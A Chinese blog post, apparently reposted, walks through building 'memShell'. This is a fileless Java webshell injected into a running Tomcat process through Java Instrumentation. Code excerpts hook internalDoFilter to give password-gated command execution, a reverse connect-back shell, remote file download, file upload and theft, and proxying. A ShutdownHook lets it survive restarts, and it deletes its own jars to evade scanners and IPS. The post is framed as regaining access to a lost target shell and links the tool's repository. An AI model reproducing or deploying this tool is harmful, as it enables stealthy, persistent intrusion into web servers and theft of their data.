利用“进程注入”实现无文件复活 WebShell

引子

上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网。正好我之前一直有个通过“进程注入”来实现内存webshell的想法,于是就趁这个机会以Java为例做了个内存webshell出来(暂且叫它memShell吧),给大家分享一下:)

前言

一般在渗透过程中,我们通常会用到webshell,一个以文件的形式存在于Web容器内的恶意脚本文件。我们通过webshell来让Web Server来执行我们的任意指令。如果在某些机选情况下,我们不想或者不能在Web目录下面写入文件,是不是就束手无策了?当然不是,写入webshell并不是让Web Server来执行我们任意代码的唯一方式,通过直接修改进程的内存也可以实现这个目的。我们只要拥有一个web容器进程执行用户的权限,理论上就可以完全控制该进程的地址空间(更确切的说是地址空间中的非Kernel部分),包括地址空间内的数据和代码。OS层进程注入的方法有很多,不过具体到Java环境,我们不需要使用操作系统层面的进程注入方法。Java为我们提供了更方便的接口:Java Instrumentation。

Java Instrumentation简介

先看下官方概念:java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。该机制最早于Java SE5 引入,Java SE6之后的机制相对于Java SE5有较大改进,因为现在Java SE5这种古董级别的环境已经不多,此处不再赘述。

下面看一个简单的例子:首先新建3个Java工程Example、Agent和AgentStarter。

在工程Example中新建2个类:

Bird.java:
public class Bird {
    public void say()
    {
        System.out.println("bird is gone.");
    }
}

然后把编译后的Bird.class复制出来,放到D盘根目录。然后把Bird.java再改成如下:

Bird.java:
public class Bird {
    public void say()
    {
        System.out.println("bird say hello");
    }
}
Main.java:
public class Main {
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        while(true)
        {
            Bird bird=new Bird();
            bird.say();
            Thread.sleep(3000);
        }
    }
}

把整个工程打包成可执行jar包normal.jar,放到D盘根目录。在工程Agent中新建2个类:

AgentEntry.java:
public class AgentEntry {
   public static void agentmain(String agentArgs, Instrumentation inst)
           throws ClassNotFoundException, UnmodifiableClassException,
           InterruptedException {
       inst.addTransformer(new Transformer (), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Bird")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
       System.out.println("Class changed!");
   }
}
Transformer.java:
public class Transformer implements ClassFileTransformer {
   static byte[] mergeByteArray(byte[]... byteArray) {
       int totalLength = 0;
       for(int i = 0; i < byteArray.length; i ++) {
           if(byteArray[i] == null) {
               continue;
           }
           totalLength += byteArray[i].length;
       }
       byte[] result = new byte[totalLength];
       int cur = 0;
       for(int i = 0; i < byteArray.length; i++) {
           if(byteArray[i] == null) {
               continue;
           }
           System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
           cur += byteArray[i].length;
       }
       return result;
   }
   public static byte[] getBytesFromFile(String fileName) {
       try {
           byte[] result=new byte[] {};
           InputStream is = new FileInputStream(new File(fileName));
           byte[] bytes = new byte[1024];
           int num = 0;
           while ((num = is.read(bytes)) != -1) {
               result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num));
           }
           is.close();
           return result;
       } catch (Exception e) {
           e.printStackTrace();
           return null;
       }
   }
   public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
           ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
       if (!className.equals("Bird")) {
           return null;
       }
       return getBytesFromFile("d:/Bird.class");
   }
}

新建一个mainfest文件:

MAINFEST.MF:
Manifest-Version: 1.0
Agent-Class: AgentEntry
Can-Retransform-Classes: true

然后把Agent工程打包为agent.jar,放到D盘根目录。在AgentStarter工程中新建1个类:

Attach.java:
public class Attach {
    public static void main(String[] args) throws Exception {
        VirtualMachine vm = null;
        List<VirtualMachineDescriptor> listAfter = null;
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("d:/agent.jar");
                        vm.detach();
                    }
                }
                break;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

把AgentStarter打包成可执行jar包run.jar,放到D盘根目录。这时候,D盘根目录列表如下:

下面开启两个命令行窗口,先运行normal.jar,再运行run.jar:

很明显我们动态改变了正在执行的normal.jar进程中Bird类的say方法体。OK,基本原理就介绍到这里,下面我们拿tomcat来实操。

确定关键类

我们想要实现这样一种效果,访问web服务器上的任意一个url,无论这个url是静态资源还是jsp文件,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令。为了达到这个目的,需要找一个特殊的类,这个类要尽可能在http请求调用栈的上方,又不能与具体的URL有耦合,而且还能接受客户端request中的数据。经过分析,发现org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法最符合我们的要求,首先看一下internalDoFilter方法的原型:

 private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {}

该方法有ServletRequest和ServletResponse两个参数,里面封装了用户请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如下图:

市面上各种流行的Java Web类框架,都是通过一个自定义filter来接管用户请求的,所以在在internalDoFilter方法中注入通用型更强。下面我们要做的就是修改internalDoFilter方法的字节码,一般用asm或者javaassist来协助修改字节码。asm执行性能高,不过易用性差,一般像RASP这种对性能要求比较高的产品会优先采用。javaassist执行性能稍差,不过是源代码级的,易用性较好,本文即用此方法。

定制internalDoFilter

internalDoFilter是memShell接收用户请求的入口,我们在方法开始处插入如下的代码段(节选):

if (pass_the_world!=null&&pass_the_world.equals("rebeyond"))
            {
                if (model==null||model.equals(""))
                {
                    result=Shell.help();
                }
                else if (model.equalsIgnoreCase("exec"))
                {
                    String cmd=request.getParameter("cmd");
                    result=Shell.execute(cmd);
                }
                else if (model.equalsIgnoreCase("connectback"))
                {
                    String ip=request.getParameter("ip");
                    String port=request.getParameter("port");
                    result=Shell.connectBack(ip, port);
                }
                else if (model.equalsIgnoreCase("urldownload"))
                {
                    String url=request.getParameter("url");
                    String path=request.getParameter("path");
                    result=Shell.urldownload(url, path);
                }
                else if (model.equalsIgnoreCase("list"))
                {
                    String path=request.getParameter("path");
                    result=Shell.list(path);
                }
                else if (model.equalsIgnoreCase("download"))
                {
                    String path=request.getParameter("path");
                    java.io.File f = new java.io.File(path);
                    if (f.isFile()) {
                        String fileName = f.getName();
                        java.io.InputStream inStream = new java.io.FileInputStream(path);
                        response.reset();
                        response.setContentType("bin");
                        response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
                        byte[] b = new byte[100];
                        int len;
                            while ((len = inStream.read(b)) > 0)
                                response.getOutputStream().write(b, 0, len);
                            inStream.close();
                            return;
                    }
                }
                else if (model.equalsIgnoreCase("upload"))
                {
                    String path=request.getParameter("path");
                    String fileContent=request.getParameter("fileContent");
                    result=Shell.upload(path, fileContent);
                }
                else if (model.equalsIgnoreCase("proxy"))
                {
                    new Proxy().doProxy(request, response);
                    return;
                }
                else if (model.equalsIgnoreCase("chopper"))
                {
                    new Evaluate().doPost(request, response);
                    return;
                }
                response.getWriter().print(result);
                return;
            }
        }
        catch(Exception e)
        {
            response.getWriter().print(e.getMessage());
        }

首先判断是否有pass_the_world密码字段,如果请求中没有带pass_the_world字段,说明是正常的访问请求,直接转到正常的处理流程中去,不进入webshell流程,避免影响正常业务。如果请求中有pass_the_world字段且密码正确,再判断当前请求的model类型,分别分发到不通的处理分支中去。为了避免对internalDoFilter自身做太大的改动,我把一些比较复杂的逻辑抽象到了外部agent.jar中去实现,由于外部jar包和javax.servlet相关的类classloader不一致,外部jar包中用到了反射的方法去执行一些无法找到的类,比如ServletRquest、ServletResponse等。

最终我们生成了2个jar包,一个inject.jar(功能类似前文demo中的run.jar),用来枚举当前机器上的jvm实例并进行代码注入。一个agent.jar,包含我们自定义的常见shell类功能,agent.jar会被inject.jar注入到tomcat进程中。执行java –jar inject.jar完成进程注入动作之后,可以把这两个jar包删除,这样我们就拥有了一个memShell,完全存在于内存中的webshell,硬盘上没有任何痕迹,再也不用担心各种webshell扫描工具,IPS,页面防篡改系统,一切看上去好像很完美。但是……内存中的数据,在进程关闭后就会丢失,如果tomcat被重启,我们的webshell也会随之消失,那岂不是然并卵?当然不是。

复活技术

既然文章标题提到了我们要实现的是不死webshell,就一定要保证在tomcat服务重启后还能存活。memShell通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用:

1.程序正常退出

2.使用System.exit()退出

3.用户使用Ctrl+C触发的中断导致的退出

4.用户注销或者系统关机

5.OutofMemory导致的退出

6.Kill pid命令导致的退出所以ShutdownHook可以很好的保证在tomcat关闭时,我们有机会埋下复活的种子:)如下为我们自定义的ShutdownHook代码片段:

  public static void persist() {
      try {
          Thread t = new Thread() {
              public void run() {
                  try {
                      writeFiles("inject.jar",Agent.injectFileBytes);
                      writeFiles("agent.jar",Agent.agentFileBytes);
                      startInject();
                  } catch (Exception e) {
                  }
              }
          };
          t.setName("shutdown Thread");
          Runtime.getRuntime().addShutdownHook(t);
      } catch (Throwable t) {
      }

JVM关闭前,会先调用writeFiles把inject.jar和agent.jar写到磁盘上,然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar。

memShell流程梳理

下面我们来梳理一下memShell的整个植入流程:

1.将inject.jar和agent.jar上传至目标Web Server任意目录下。

2.以tomcat进程启动的OS用户执行java –jar inject.jar。

3.inject.jar会通过一个循环遍历查找Web Server上的JVM进程,并把agent.jar注入进JVM进程中,直到注入成功后,inject.jar才会退出。

4.注入成功后,agent.jar执行agentmain方法,该方法主要做以下几件事情:

a) 遍历所有已经加载的类,查找“org.apache.catalina.core.ApplicationFilterChain”,并对该类的internalDoFilter方法进行修改。

b) 修改完之后,把磁盘上的inject.jar和agent.jar读进tomcat内存中。

c) 对memShell做初始访问。为什么要做一次初始化访问呢?因为我们下一步要从磁盘上删掉agent.jar和inject.jar,在删除之前如果没有访问过memShell的话,memShell相关的一些类就不会加载进内存,这样后续我们在访问memShell的时候就会报ClassNotFound异常。有两种方法初始化类,第一是挨个把需要的类手动加载一次,第二是模拟做一次初始化访问,memShell采用的后者。

d) 删除磁盘上的inject.jar和agent.jar。当Web Server是Linux系统的时候,正常删除文件即可。当Web Server是Windows系统的时候,由于Windows具有文件锁定机制,当一个文件被其他程序占用时,这个文件是处于锁定状态不可删除的,inject.jar正在被JVM所占用。要删除这个jar包,需要先打开该进程,遍历该进程的文件句柄,通过DuplicateHandle来巧妙的关闭文件句柄,然后再执行删除,我把这个查找句柄、关闭句柄的操作写进了一个exe中,memShell判断WebServer是Windows平台时,会先释放这个exe文件来关闭句柄,再删除agent.jar。

5.memShell注入完毕,正常接收请求,通过访问http://xxx/anyurl?show_the_world=password可以看到plain风格的使用说明(为什么是plain风格,因为懒)。

6.当JVM关闭时,会首先执行我们注册的ShutdownHook:

a) 把第4(b)步中我们读进内存的inject.jar和agent.jar写入JVM临时目录。

b) 执行java -jar inject.jar,此后过程便又回到上述第3步中,形成一个闭环结构。

到此,memShell的整个流程就介绍完毕了。

memShell用法介绍

1.memShell实现了常见的webshell的功能,像命令执行:

2.memShell通过内嵌reGeorg实现了socks5代理转发功能,方便内网渗透:

这里要说明一下,因为reGeorg官方的reGeorgSocksProxy.py不支持带参数的URL,所有我们要稍微改造一下reGeorgSocksProxy.py:

把第375行改成上图所示即可。

3.memShell内嵌了菜刀一句话:

4.只设置访问密码,不设置model类型可查看plain style的help:

后记

本文仅以Java+tomcat为例来介绍内存webshell的原理及实现,其他几种容器如JBOSS、WebLogic等,只是“定位关键类”那一步稍有不同,其他环节都是通用的。理论上其他几种语言同样可以实现类似的功能,我就算给大家抛砖引玉了。?

Github代码地址:https://github.com/rebeyond/memShell??

里面有很多功能还有可以改进的地方,后面有时间再慢慢完善吧。

最后,华为终端云SilverNeedle团队诚招各路安全人才(APT方向),待遇优厚,欢迎私信推荐和自荐:)

参考

1.https://www.ibm.com/developerworks/cn/java/j-lo-jse61/index.html

原文地址:https://www.cnblogs.com/h2zZhou/p/9114743.html

时间: 2024-10-30 00:26:07

利用“进程注入”实现无文件复活 WebShell的相关文章

利用LNK进行的无文件攻击

前言 今日揭示一项众多APT组织常用的攻击手法---lnk攻击,因为该项攻击可以创建一个新的快捷方式作为间接手段,可以伪装使其看起来像一个合法的程序. 目录 0x00 什么是“无文件攻击” 0x01 LNK攻击剖析 0x02 案例分析 0x03 样本全家桶 0x04 参考链接 0x00 什么是“无文件攻击” 安全搞了这么久,好像经常有听到过APT的一些攻击手法,例如“鱼叉钓鱼”.“水坑攻击”等等.这里着重介绍下“无文件攻击”,这里的无文件攻击,并不是不带文件的攻击,通常是用来指恶意程序没有直接落

60字节 - 无文件渗透测试实验

0x00 缘由 前几天看到文章<全球上百家银行和金融机构感染了一种"无文件"恶意程序,几乎无法检测>,希望自己能够亲手实验一下,以最大程度还原这种"无文件"攻击方式. 0x01 拓扑设计 192.168.1.0/24: 模拟公网环境 172.21.132.0/24: 模拟企业内网环境 192.168.1.108: 黑客 Kali 攻击机 192.168.1.212: 黑客 Windows 攻击机 边界 Web 服务器双网卡(公网的:192.168.1.1

进程注入的研究与实现

为了对内存中的某个进程进行操作,并且获得该进程地址空间里的数据,或者修改进程的私有数据结构,必须将自己的代码放在目标进程的地址空间里运行,这时就避免不了使用进程注入方法了. 进程注入的方法分类如下: 带DLL的注入 利用注册表注入 利用Windows Hooks注入 利用远程线程注入 利用特洛伊DLL注入 不带DLL的注入 直接将代码写入目标进程,并启动远程线程 1. 利用注册表注入 在Windows NT/2000/XP/2003中,有一个注册表键值HKEY_LOCAL_MACHINE\Sof

防病毒技术:无文件攻击

如今,无文件攻击已经常态化了.虽然一些攻击和恶意软件家族在其攻击的各个方面都企图实现无文件化,但只有一些功能才能实现无文件化.对于攻击者来说,无文件化只是试图绕过攻击的一种手段,至于是否有文件,都只是表象. 无文件攻击简介 "无文件攻击"这一术语往往会让人产生歧义,比如无文件攻击就代表真的没有攻击文件吗?没有文件又如何实施攻击?如何检测?如何防御--,其实"无文件攻击"只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避安全检测.有一点需要明确,就是无文件

进程注入的学习(中)

3. 利用远程线程注入DLL 1).取得远程进程的进程ID:  2).在远程进程空间中分配一段内存用来存放要注入的DLL完整路径:  3).将要注入的DLL的路径写到刚才分配的远程进程空间:     4 ).从Kernel32.dll中取得LoadLibray的地址:  5).调用CreateRemoteThread函数以从Kernel32.dll中取得的LoadLibrary函数的地址为线程函数的地址,以我们要注入的DLL文件名为参数,创建远程线程: ---------------------

“聊天剽窃手”--ptrace进程注入型病毒

近日,百度安全实验室发现了一款"聊天剽窃手"病毒,该病毒能够通过ptrace方式注入恶意代码至QQ.微信程序进程,恶意代码能够实时监控手机QQ.微信的聊天内容及联系人信息.该病毒是目前发现的首款通过ptrace进程注入方式进行恶意窃取私密资料的病毒. 简介 该病毒主要是通过ptrace注入QQ和微信进程进行信息窃取的,主程序调用assets中的inject_appso,libcall.so以及conn.jar联合进行"作案",在conn.jar中获取聊天信息/最近联

socket编程与利用进程进行多并行连接

呈现一张基本的socket阻塞式模型,如下图: 一: 对于一对一的进行C/S回射: 服务端(server.c): 1 #include<unistd.h> 2 #include<stdio.h> 3 #include<string.h> 4 #include<stdlib.h> 5 #include<netinet/in.h> 6 #include<sys/socket.h> 7 #include<sys/types.h>

Android中通过进程注入技术修改系统返回的Mac地址

致谢 感谢看雪论坛中的这位大神,分享了这个技术:http://bbs.pediy.com/showthread.php?t=186054,从这篇文章中学习到了很多内容,如果没有这篇好文章,我在研究的过程中会遇到很多困难,说不定我就放弃了~~在此感谢他. 前言 之前的几篇文章都是在介绍了OC的相关知识,之前的半个月也都是在搞IOS的相关东西,白天上班做Android工作,晚上回家还有弄IOS,感觉真的很伤了.不过OC的知识也学习了差不多了.不过在这段时间遗留了很多Android方面的问题都没有进行

向其他进程注入代码的三种方法

http://huaidan.org/archives/838.html 原版地址: http://www.codeproject.com/threads/winspy.asp?df=100&forumid=16291&select=1025152&msg=1025152 pdf格式下载: http://netxfly.blogbus.com/files/1163491746.pdf 作者:Robert Kuster 翻译:袁晓辉([email protected]) 摘要:如何向